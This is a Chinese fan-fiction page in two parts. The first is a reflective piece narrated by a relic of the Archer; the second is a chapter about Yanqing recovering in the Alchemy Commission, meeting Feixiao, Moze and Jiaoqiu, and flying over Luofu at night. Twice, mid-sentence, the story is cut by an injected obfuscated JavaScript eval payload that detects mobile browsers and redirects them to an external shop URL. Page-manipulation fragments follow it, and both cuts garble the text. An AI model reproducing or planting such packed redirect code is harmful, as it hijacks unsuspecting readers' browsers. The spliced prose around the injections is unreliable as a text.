我看到大殿上那些人诘问你的嘴脸——年轻美丽的躯壳、苍老病态的灵魂、癫狂扭曲的神情。你没再说过一句话,只是直直站着。 树没倒,你被关起来了。 你被关进冷冻仓,我被留在外面。 一定很冷。 我听说人在休眠舱里通常无知觉,但说这话的人又没被关进去过,怎么会知道呢? 我好像也被关起来了——虽然他们说“收纳”。我借助看到的方寸天空判断春夏,一个春天、两个春天……直到再也数不清。 你守护的地方在那之后又经历了许多次战争,很多人希望你出来,但显然你出不来,他们就来找我,在我面前诉说对你的想念和敬仰。时间一长,很多人不再认识你,就只有敬仰了。 我想你肯定会出来。 我希望你出来时正是春天。被冻了那么久,肯定需要温暖,仙舟调节的春天就很温暖,又不至于太过,正是大部分仙舟人喜欢的温度。 春天也很少打仗,因为开化的冻土和雨水会让原野成为一片烂泥,阻碍军队行进。 可我又觉着,你出来之后,战争就要开始了。 我等了太久,久到睡着。 醒来时,看到你已出来并完成了那一箭,自曜青射出、再度直直冲向建木,巨大的破坏力断开了穹桑和建木的连接,从造翼者手中救下了罗浮,同时也毁掉了这棵树。 造翼者的母星穹桑是一棵行星级巨树,行将枯竭,他们渴望汲取仙舟的能源,已经等了太久。 可你同样等了很久。这一次,再无人能阻止你了。 你们胜利了,但你不见了。 有说战死的,有说登神的,总之你不见了。 仙舟人将你的遗物发射至穹桑外围轨道,意指与星球同辉,其中就包括我。 我在天上静静看着穹桑,观察他们的生态、起居、兴盛然后衰落。丰饶的力量使这棵巨树呈现病态的生机,他们同样没有幸免于人口膨胀,不同层级的造翼者横向从这头飞到那头,偶尔越了界,就被上头的拔了翅膀掀飞扔下去。 巨树依然生机勃勃。我静静地看。 在看的过程中,“他”以我为基础诞生了,与我共享这一片窄小的空间。我初察觉到时非常震惊,甚至以为你回来了,后来才发现他不是你,是一个幼小的、崭新的,不知能否被称作灵魂的东西。 你的力量、我的意识,在我观察穹桑的这些年里进行了奇妙的结合,诞生了“他”。 他一直睡着,我不知道他是否有意识,但我喜欢他,冰冰凉凉又不说话,像你。 我那时没有陪你看到破冰后的春天,现在我想把春天献给他。穹桑的景象不是什么值得新生儿观察的东西,离远一点好,可我动不了,做不到。 他始终没有醒,但他一直陪着我。 宇宙从来都不安全。 过了不知多久,有一天,奇形怪状的军队来到这里,毁灭了整个穹桑,那棵病态美丽的树在我面前化为灰烬,残存的造翼者四散奔逃。我依然旁观,直到同样旁观的仙舟找到并回收了我。 穹桑已灭,仙舟追随帝弓——他们这样叫你,的光矢在宇宙巡猎,这边一箭那边一箭彰显着你的良好状态,我亦没了与星同辉的使命。 我重新见到了仙舟的天,人造穹顶显露虚幻的蓝,游云自在飘浮其上,人潮熙攘、春风和煦,枝头上几只鸟儿蹦跳,我已忘了它们的学名。 这应该叫……归乡? 我又被封起来了,空间比之前宽敞,每天各路吵吵嚷嚷的小孩子挤在我面前,隔着屏障叽里咕噜说话,然后掏出一个东西对准我摁一下,就心满意足回去。 现在的小孩真没礼貌。但我依然期待他的醒来,如果他醒了也这么吵……吵就吵吧。 但他依然睡着,天大的事都没法将他吵醒。 啧,睡不死你。 又是很多年。 仙舟的战争从未止息,除了小孩子,也会有出征的将领过来,在我面前一站一个下午,也不说话,不知道在想什么。 这回却不一样。 “我们又赢了!”英姿飒爽的女子裹着纱布朗声大笑,笑声吓退小朋友,“我们会一直赢下去,帝弓司命!” 嗯嗯,听到了,吾心甚慰,回去养伤吧你。 我随便应,反正他们也听不见。那女子却猛地凑上前来,脸都贴在屏障上,眼睛瞪圆,像看见了什么稀奇东西。 干嘛?又不是第一天见了。 我在里面,却有什么东西凑过来,贴着我,冰冰凉、亮闪闪,满是好奇。 我不敢动,怕一动就把他融回来。 “帝弓司命的遗物……在发光……” 女子喃喃自语,猛地大喊,边喊便往外跑:“发光——祖宗显灵啦!祖宗显灵啦!” 什么显灵啊!你祖宗没死呢! 我知道是怎么回事。 他醒了。 后来的事我只知结果,仙舟人不知从哪整了具身体,又不知用什么方法,把我和他一起塞进了那具身体里,甲胄未褪的兵士围着我们站了一圈,大气不敢出就等着人睁眼。 他睁眼了。 他开始哭。 哭声那叫一个健康响亮,像是能把屋顶掀飞,离最近的兵士像是被震聋了,动也不动,就愣愣看。 看、看、看,看几千年了还没看够啊! 我烦得很 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332676|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,由衷疑惑起自己之前为什么会盼着这家伙醒来。这些人把他挪到脆弱的人类身体里,好歹要负起责任……哄哄他啊! 吵死了! 我许久不曾思考,好久才反应过来:对哦,人类身体承受不了……这好像不是人类身体。 熟悉的材料。 啧,那棵树居然还没死透吗。 算了,给现在的仙舟榨一榨剩余价值也好。 现在这个孩子、大概是孩子吧,拥有一部分你的力量、一部分我的意识、一部分融合后产生的他自己的东西,全部被塞进建木果实变作的身体里。 我的心情很复杂。 但他什么都不知道,哭完就睡,睡醒就吃。 吃吃吃吃吃,撑死你。 我也被塞进去了。 *仙舟粗口。 因着建木的关系,那些人最后决定将这孩子养在罗浮,由罗浮的将军监管,他们还给起了个名字,叫“彦卿”。 彦卿喜欢剑、喜欢糖、喜欢鸟、喜欢疯跑、喜欢飞,不喜欢大人逗他,不喜欢过分简单的黉学内容,想事情很直,话特别多。 他知道我的存在,也知道我懒得说话,天天在脑子里嘀嘀咕咕自言自语,我应他两句就很高兴,好哄得像个傻子。 我看着彦卿拥有□□,看着他长至少年,逐渐显出近似于你的力量和风采。 他像春天里的一阵风,一道闪电。 我那时期盼春天,因为你在冰里冻了很久;后来期盼春天,因为他睡了很久,和在冰里无异。 现在冰破了。 “明天!演武-仪典!演武-仪典!演武-仪典!”彦卿在床上滚来滚去,二二短句念着很顺口,兴奋睡不着觉。 臭小子哪里学的应援?吵死了! “哎,你陪我聊聊天嘛——” 不要,聊天有损我的逼格。 “你说我能成为剑首吗?” 能。 “真的啊!”灯还未熄,少年抱着枕头笑弯了眼,眼睛头发笑容都金灿灿,讨喜得不行。 不然我还说不能吗? 彦卿抱着枕头狂蹭几下,抬头骄傲:“我也觉得能!” 臭小子给点阳光就灿烂。 他突发奇想:“不如今晚加练?就练到演武开场好了!” 你不睡我还要睡,别逼我打你。 彦卿撇嘴:“你怎么打?左手打右手?反正痛的都是我咯。” 啧。 我怎么生了这么个玩意儿? 很久以前,我说想把春天献给你;后来,又说想陪他看看春天。 如今仔细想了,我希望你拥有的其实不是春天,而是春天代表的自由和温暖。你如今已不需要这些,他还需要吗? “云骑骁卫彦卿,出发!”少年举手给自己打气,看着比平时还傻,又亮又傻。 我想也不需要。 他破冰而出、奔向春野时,一切亮的、响的、温暖明媚的东西也一拥而上,向他宣告春的到来。 春天来了小燕子,春天快乐。 12. 【彦卿】人世剑 1. 冰。 纯粹、冷冽、锋利。 那一式似乎已在心中打磨许久,直至呼雷那一跃,临门一脚,剑随心动,像是临阵爆发又像是再自然不过地用了出来。 现在想要复刻,还需要多多思考。 彦卿闷在被子里,小小的冰剑悬于掌心,粉紫色光芒流动其上,绚丽非常。 很好,找到感觉了,接下来加大力度,将冰剑放大到他惯用剑的尺寸…… 被子里的空间不太够,彦卿憋久了也气闷,一边试着凝剑一边抬起被头拱来拱去,眨巴着眼睛悄悄观察外面的情况。 这里是丹鼎司病房,他认得。事实上彦卿半时辰前就醒了,查房的医士对这恢复速度啧啧称奇,在他泄出一点想要出门的意思后又光速变脸,客气且不容置疑地拒绝了: “在新的检查报告出来之前,彦卿大人还是不要想出去了。” 然后翻出彦卿刚躺板板时的检查报告,一条一条数伤口,听得小孩一愣一愣,在负责任的医士面前又不好插话,索性乖巧缩到被子里当鹌鹑。 但是好好休息是不可能的,医士待了一刻钟,他就在被子里琢磨剑磨了一刻钟。 现在外面应该没人,正好透透气…… 彦卿脑袋上闷着薄被,探头,眼睛露出来,呆毛不甘示弱地跟着翘出来,随着主人动作左右摇晃,然后是冰剑剑尖…… “嘿!彦卿大人!” 吓! 房间内霎时光芒大盛,丹士长玉络捂眼睛:“我只是来查房啊啊啊啊!” 彦卿一哆嗦,掌中冰剑骤然变大,饶是反应过来猛地收力,还是直直捅穿墙壁,从床头捅到隔壁屋去了! “chua!”“砰!”“咔嚓——” 丹鼎司的病房不是什么普通小木屋,可这一剑似乎把墙壁间的结构全冻坏了,冰剑插在那里,散着幽幽的寒气。 糟糕糟糕糟糕! 他着急忙慌收剑,快速跑到隔壁门口准备道歉,却听得里间人说话声音很是耳熟,好像还在笑:“哦哟,了不得~” “看见没貊泽,有人刺杀下手比你快欸。” 是飞霄将军,依然中气十足。 刺杀? ??彦卿:我不是我没有将军听我解释! “哼。” 随后是冷淡的男音,夹着几分若有若无的骄傲:“不必如此。” “今日的刺杀,我预备用其他方式。” 唔,飞霄将军和貊泽先生的关系,他略有耳闻,但还没这么直观见过…… “哦?什么方式?” ?这是可以直接问的吗? 貊泽回话声里骄傲更加明显,有点炫耀的意思在了:“投毒,椒丘送我的。” …… 飞霄爆笑:“哈哈哈哈哈哈!” 貊泽:“怎么?” 门外的彦卿:唯有沉默.jpg 你投毒,为什么要提前打招呼? 彦卿敲门。 “进来吧。” 飞霄眼不转就知道是他,当即笑道:“好剑法。” 彦卿转头看见墙上自己捅的那个窟窿,不好意思跟着笑,老实拱手赔罪:“彦卿未料得情况如此,稍后会请人修补墙壁,还望飞霄将军见谅。” “没事没事,”反正是你们罗浮的墙,飞霄摆摆手,相当自然地从彦卿旁边经过,顺带招呼,“貊泽,走啦!” 就出门了。 冷面的男人紧随其后,也出门了。 等等,出门? 现在?这么快? “将军!”彦卿才反应过来,快步跟上两人,“您的伤已经好全了吗?那时在竞锋舰上,您从那样的高度摔下来,又在心境中与呼雷缠斗,虽然解决了……但呼雷的赤月潜伏在您体内还不知影响如何,留待丹鼎司观察才是……” 哦? 飞霄回头,托着下巴低头看眼前这小孩:头发披散凌乱,身上披了件外衫就跑出来,伤大概是没好全,精神倒不错,嘴快得像叽叽喳喳的鸟雀,还转头问旁边的医士她的伤势情况。 挺新奇。飞霄笑眯眼,在兀自叨吧叨吧的小孩头上狠狠薅了几把,薅得呆毛东倒西歪,呆毛主人倒像是被薅惯了,没什么反应,顶着手继续说。 此前罗浮气氛紧张,这孩子对着她一直毕恭毕敬,后来又是战强敌,又是接武器,尽是些严肃的事情,如今松下来,竟是连她都敢管了。 “还有这位先生,”彦卿绷着张小脸劝完了飞霄,又开始劝貊泽,却在想名字时卡了壳,“您是飞霄将军的幕僚,呃……” 貊泽:。 他低头,扯紧兜帽,主打一个不听不看,贯彻他的风格。 彦卿还在皱着眉头想名字,飞霄已经薅爽了,松手转身,迈步往前:“彦卿啊,可别说我们不乖,” “有个伤得更重更不乖的家伙,已经摸着黑跑出丹鼎司啦。” 伤得更重的家伙? “我们得去找他,先不说啦。” 椒丘大夫! 彦卿猛地想起来,抬头时眼前已经没有人了。 他不自觉往前走了几步: 椒丘大夫。若非那时呼雷毒发让他趁隙脱身,他或许就……还想着寻机会向人家道谢的……要不,跟去看看? 但身后有人。 “彦卿大人,”是丹士长玉络,眼瞅着另外两个走了,抓着剩下的小的,“现在您该跟我回去了吧。” 呃。 彦卿告状:“飞霄将军也走了!” “我知道啊,我看到了,”玉络沉痛摇头,压低声音,“可那是别的仙舟的将军欸,我哪敢拦啊。” “那我呢?” “您就不一样了,”丹士捋袖子显摆自己不强壮的手臂,豪气干云,“您要是不肯回,我就把您扛回去!” 彦卿:……你还真是一点都不怕冒犯我啊。 2. “玉络大人。” 回房路上,他只喊了一声,话还没问出口,前面人扭头懵逼:“彦卿大人,你怎么认得我啊?” 他不该认识吗? 彦卿歪头:“您是丹鼎司的丹士长。” “哦哦。” ??六御议政时,他曾见过这位丹士长。 彼时大战刚结束,仙舟许多问题亟待解决,首当其冲的是丹鼎司的信任问题。那时灵砂司鼎尚未到来,会议上一个接一个问题都被丢给了这位丹士长。 ??丹枢作为上任丹士长东窗事发,药王秘传尽数落网,丹鼎司既作为战场遭到了相当大的破坏,又作为叛徒大本营面临着严重的人员缺失——药王秘传被关押受审,其中不乏许多优秀的、平日看上去很正常的医士,丹鼎司一时连维持正常运转都难。 被临时提拔、却能撑起这种局面的新任丹士长玉络,在彦卿听来简直同神人一般;但亲眼见到后,又止不住疑惑。 ??因为这位丹士长,对丹鼎司的局面两眼一抹黑,问起话只会回不知道,最擅长的是聊天和捧哏。 她实在晕乎又不靠谱,只会“不知道”,或者尴尬地笑,却在面对那些暗指丹鼎司包藏祸心的问话时,不遗余力地、一遍一遍反驳。 “伤口愈合需要时间。”尽管仙舟人的体质把这时间无限缩短了。 “信任重建也是。”后者却没可能被缩短,反倒会因为长生种的阅历无限延长。 真是不公平啊。 但是,在被人问起时,她依然无比坚定地回话: ??“我知道人们对丹鼎司的评价在不断下降,” ??“但是我也知道,大部分医士和丹士并非邪教徒,他们需要有人支持。” “虽然前路不易,丹鼎司定会重新建立起信任的。” 无论如何,我们都会收拾好伤口,继续走下去的。 玉络边走边嘱咐他养伤的注意事项,嘴没停过,彦卿本来想问椒丘大夫的伤势情况,这会儿只好游神,对着人背影继续回想。 ??初见在更早之前。 彼时彦卿刚经历祈龙坛的混战,被将军打发回来,捂着新鲜的伤口站在丹鼎司的阴云下,耷拉着眉眼,不安至极。 ??“不要哭了!” “不要哭了!” “我们是医士!仙舟需要我们!” “我们!” “你日哭夜哭,能哭死药王秘传吗?!” “传吗?!” 坐着的医士低头抹眼泪,为首的医士脸上泪迹未干,边骂边跟着一起哭,玉络丹士长站在旁边摇旗呐喊,一句一句跟。 彦卿那时受了伤来丹鼎司诊治,困惑之余,觉得这情况云骑理当上前询问详情,却看见两个在哭的医士哭完就起身各做各事了,玉络直起身子呼一口气,站在树下擦擦自己并不存在的汗。 分明是让人啼笑皆非的场面。 但在看见三位医士吵架时,他暂时抛却了那些惶急和困惑,感受到了生命力—— 混乱之中依然□□,不会消逝的生命力。 “您说您这么着急出院干嘛,” 才几步路,玉络的注意事项到房间里依然没说完,把人押到床上后搬了条凳坐旁边,顺手给小朋友递了个果盘, “喏,之前来看您的云骑们送的。” 彦卿从思绪中脱出,捧着果盘,睁大眼,不好意思地笑笑。 这位丹士长一身超绝松弛感,见他笑了,跟着笑出八颗牙: “我听说了您那致胜一剑,虽然未亲眼得见,但致胜致胜,这次是我们的胜利嘛!” “胜利要用好心情来庆祝!休息当然也必不可少,”她拍胸脯,“让伤员疗养伤口、好好休息,我们丹鼎司就是做这个的!” “嗯!”彦卿弯起眉眼笑,用力点头: “玉络大人和丹鼎司,都很了不起!” 玉络不知道话题怎么拐的,但是不管,她挺起胸脯: “好孩子!展开夸夸!” ??3. 彦卿问起椒丘情况时得了句“不知道”,真是熟悉的感觉。但玉络说可以帮他找找诊断报告,说完话还有事要忙,很快就出去了。 没人聊天,房间恢复安静,彦卿继续回想那一剑。 死生刹那,万念成空。 呼雷体型大,速度却不慢,腾空跃起时也就一两秒,思考任何挥剑以外的事情都显得多余。 他便是如此,回想起了镜流那一剑,剑气若残月,冰光耀目,杀意凛然; 便是如此,回想起了接下那一剑时的心境,闭眼、抬手、用尽全力出剑。 只那一剑。 彦卿睁眼,依然盘腿坐在病床上,紫光在眼中一瞬闪过,他低头,看着掌心的剑: 通体冰蓝、白光炫目,寒气自剑上一刻不停地散开,像镜流那时一样,浸透他的整个身子骨。 冰凌会在剑上生长出来,往前刺入敌人身体,将血肉之躯扎个洞穿后,于其上炸开,像在敌人全身开遍漂亮的冰花。 死生瞬间领悟出来的,果然是了不得的杀器。 他要用这剑做什么呢?杀敌? 自然是要杀的,可似乎还有更多事情可以做。 彦卿注视这剑许久,突然二度跳下床,握着剑练了一套罗浮剑招,而后呼出一口气,任剑散作冰点,穿衣推门,大步迈出。 彦卿不是刻意不遵医嘱,只是自觉伤势好了大半,行走时虽还有痛感,但躺在床上一样会痛,倒不如出来走走,兴许还能撞见椒丘大夫。 今日好像是中秋。他走到龙树下,正接住落下的枫叶。丹鼎司在发月饼,玉络被围在中间,一群休息中的丹士医士笑笑闹闹。他索性坐到龙树围边的台子上看人领月饼,一边捻枫叶梗玩。 大概是表现得太过自然,来来往往的医士没发现这里有伤员偷跑,甚至还有人经过跟他打招呼:“欸,彦卿大人,您出院啦,吃月饼不?” 彦卿“嗯”了一声,对面塞了个月饼。 “伤势恢复得真快啊,彦卿大人!” “嗯。” 又塞一个。 “噢噢,彦卿大人演武仪典要加油啊!” “嗯,好!” 又塞一个。 …… 彦卿一边笑一边点头“嗯”,被一群人围着薅。人群散去后,抱了满怀的月饼,多到一站起来就会掉,路过好心的医士拿了个箩筐给他装。 “谢谢!” “不、客、气。” 声音咬牙切齿,耳熟,他循声低头,还没看到人就被玉络发现了: “啊!”好大一声,丹士长用仿佛抓奸的震惊表情伸手一指,周围人目光齐刷刷聚集过来,“彦卿大人!” 好大的声音,好了不得的活力。 总之没得跑了,彦卿老实应声:“……嗯。” “你还‘嗯’!” 声音从后面传来,彦卿低头,看见小龙尊瞪大眼睛叉着腰,尾巴晃晃,“啪”一下打他小腿上:“还‘嗯’得这么理直气壮?!” 彦卿见过白露对来抓她逃家的云骑甩尾巴,那叫一个水淹雷劈不含糊,自己这会儿大概是得了伤势豁免权,力道不轻不重的都叫他愧疚了。 “抱歉,白露大人。” 被人牢牢盯着,彦卿觉得小龙尊的威压从没这么强过,闷不吭声挨批,听得一句: “你们这些小娃娃,永远学不会听话是吧!” 很好,这一句批的不止他一个。 彦卿试图拿月饼贿赂龙尊大人,损失两个月饼,得了两个“哼”,就被闻讯而来的云骑护送回病房了——几步路而已,大可不必。 看似无所获,但正好白露大人在,他顺利拿到了椒丘诊疗报告的复印件,边走边翻: 毒素、失血、目盲…… 彦卿眉头皱紧,心里有些堵。 【死生刹那,万念成空。】(注1) 这是椒丘大夫说过、又曾给过他启发的一句话:面临生命危险时,脑子里想的只有活下去,只要能活下去,纵是不择手段又何妨。他当时认为是这意思。 而现在,显然是有什么东西——在椒丘大夫心中比生命更珍贵,让他在面临生命危险时没有选择更稳妥的存活方式…… 彦卿叹口气。 明明是他自己教给我的,却没按照这个来吗? 或者说——彦卿想起呼雷跃起那一瞬自己的想法:那些繁杂的念头在脑海中消去,只余下心中的剑。他只知道,自己必须挥出这一剑。 现在想来,比起死生刹那什么都不想、不择手段活下去,这句话的意思或许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17332677|199178||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 更像:死生刹那,所有的杂音都被压下,只余下早先便思考过的、对自己而言最重要的东西。 选了最重要的,那无论后果如何,自己都愿意承受。 只是,椒丘大夫的眼睛,到底还是…… ??失去了的东西,只有尽力找回;倘若找不回,又该怎么办呢? 4. “彦卿骁卫。”回神,他们还在回病房的路上,云骑向他搭话。 彦卿下意识笑笑,却在看清人脸时愣住:“……德威队长。” 德威也笑,笑得稳重又温和。 彦卿今日记性格外好,他和德威只见过一次面,还是旁听谈话,回想起来,却不由得喉头干涩: “您现在,还好吗?” 德威怔住,也不回话,只回头看。丹鼎司的海风自四面八方吹来,他们站在屋外的廊道,顺着这个方向,可以看到大门外的海,虽然只有一角。 【你都快退休了,怎么还申请调岗?】 【我儿,在丹鼎司的战斗中去世了,这是他生前的岗位。】 【……节哀。】 当时办事员说节哀,彦卿站在一旁,却没从德威脸上看出哀伤,只有恍惚。对方视线最后移向他时,眼中才流出羡慕和悲痛。彦卿说不出自己的感受,只是印象深刻。 “我儿刚去世时,我还没反应过来。” “他死了,我还每天活着。”每天对着海面,吹着海风,做云骑该做的事,闲下来,想起自己的儿子英年早逝。 我想,或许不该允他加入云骑;可他通过初狩仪式时,又那样高兴。 德威转回来看他,熟悉的悲伤还未褪去:“我又想,如果他有您这样高的天赋,定能在战斗中全身而退。” “我还想,您为何不早些驰援丹鼎司,您很强,一定能从孽物手中救下他。” 但他那时不在,他在祈龙坛抓想当然认为是危险源头的通缉犯。 彦卿垂眸,想说抱歉,话头被德威掐住: “彦卿骁卫,我很不讲理吧,”年长者有着悲伤的眼,说话时却笑出了声,“很抱歉。” 彦卿茫然,而后摇头,不接受这句抱歉。 “您刚才问我现状,我也不清楚,”对面宽和的脸上显出和彦卿不同的茫然,“好像很好,好像不好。” “我只是站在我儿生前的岗位上。” 德威将他送回房间,转身离开,彦卿站在房门口,目送人离去。 你依然站在这里,这是值得夸耀的事,你和你的儿子,都是很了不起的云骑。 德威把他那一箩筐月饼都抱回来了。彦卿回到房间,心绪久久不平,索性抱着箩筐出去发月饼。 他看好了:同批伤员都跑得七七八八,就算乱晃被他们看见了,也不过五十步笑百步;知道他伤势具体情况的医士也不多,避开白露大人和灵砂司鼎就好。 灵砂:微笑。 白露:啊——你这个人! 就这么顺着病房顺序一路走一路发,正好撞见曜青三人迎面走来。 彦卿精神一振,抱着箩筐得得跑,一下就到了人面前: “椒丘大夫!您吃月饼吗?”您下的毒在关键时刻救了彦卿一命,感谢…… 医士轻笑,一如初见时眯着眼摇扇子,轻飘飘地在彦卿脑袋上悬着扫了两下:“有小朋友不乖哦~” 是,然后您是最不乖的那一个。 彦卿在心里吐槽,困惑仰头看扇子:是因为扇着扇着会燃烧才离他这么远吗? “椒丘啊,人小孩没这么高,你扇子放低点就能碰到了。” “哦,原来如此,我说怎么不对劲。” 彦卿刚想条件反射说自己还能长,就愣住: 毒素、失血、目盲。 目盲。 他抬手,扶椒丘到旁边椅子坐下。 两个恶劣的大人还等着人炸毛,没等来,低头看看——小孩心里藏不住事,一下就看明白他在想什么。 彦卿不是一般小孩,“我不害怕”“我不难受”之类的话无法说服他。椒丘顺从力道坐下,揉揉小孩脑袋,又摸索着接过月饼,思考该说什么。 气氛有点悲伤。貊泽站在一边,一如既往不说话。 “哎,我拿几个哈。” 倒是飞霄,大捷将军以速见长,捞月饼的速度快到彦卿都看不清,但他现在也提不起劲学,索性把箩筐都推给三人,飞霄不客气地接了,边吃边说: “莫担心,我不是在这里嘛。” “我会找到医治椒丘眼睛的方法,也会率领青丘军出征,誓要击落一名绝灭大君。” 冷酷、决断、复仇,这是巡猎。光从她现在的状态,真看不出是在说这么严肃的话。 “在那之前——” 这位将军从来不吝啬教彦卿,虽然还在吃东西,但每一句都很认真: “仙舟人最值得夸耀的,不就是百战大捷的巡猎精神——” “和百战不死的疗伤能力嘛。” ??“啊,强调一下,这个疗伤能力,说的可不是丰饶诅咒。” 彦卿抬起头,认真听,飞霄却没再说下去,只是饶有兴致地看着他: “你知道我指的是什么,对吧。” 彦卿怔愣,身后来抓他们的医士喊声渐近,在丹鼎司的秋色里,他郑重点头。 5. 大晚上的,觉不睡觉。 “您要拦我?” 玉络翻白眼:“……你看我拦得住吗。” 你倒是从剑上下来啊! 彦卿裹着绷带,批了外衫,坐在剑上笑眯眼,燕尾从剑上垂落,末端的穗子摇来晃去很是活泼。 “若有人问起,您说不知道就好。” 玉络:“我已经下定决心洗刷一问三不知的傻子形象了!” “您本来就不是那种形象。”少年摇摇头,最后冲她比了“嘘——”的手势,就笑笑,唤剑驶入夜色。 不听话归不听话,嘴是真的甜。 就当是在夸我了。玉络感叹,而后打个哈欠,很好心情地往回走。 彦卿睡不着。 他乘着飞剑,灵巧地在住宅区穿行,速度很慢,粉紫流光如梦似幻,未惊扰任何人,一直升上高空。 夜风寒凉,少年于高空俯首,见人间烟火若星光闪烁,时弱时强,久久不熄。 他养伤期间一直在琢磨那一剑,现在可以轻松用出,心念一动,冰剑出现在手中,纯净透亮,在夜晚散着耀目的光,足以照亮彦卿身周;更远的地方,是罗浮的万家灯火。 罗浮是宇宙舰船、帝弓锋镝,是所有罗浮人的家。彦卿不久前隔着星穹列车的窗户看罗浮,觉得像一柄巨大的飞剑,如今住宅区的灯火连成一条光带,看上去也正像一把剑。 他横着冰剑,对上住宅区轮廓,橙黄的灯光隔着老远映在冰上眼里,微妙地中和了一些杀气。 这部分是剑尖、剑刃,这部分是剑脊,然后剑格、剑柄。 许久,冰剑散作光点,他弯了眉眼向更前面伸手,用握剑的手势虚虚握住那些灯火。 “总觉得……” 少年声音轻似呢喃,金发披散,额发被风吹开,金色的眼睛映着灯火,灿烂又温柔: “罗浮的星空,好像又亮了一点。”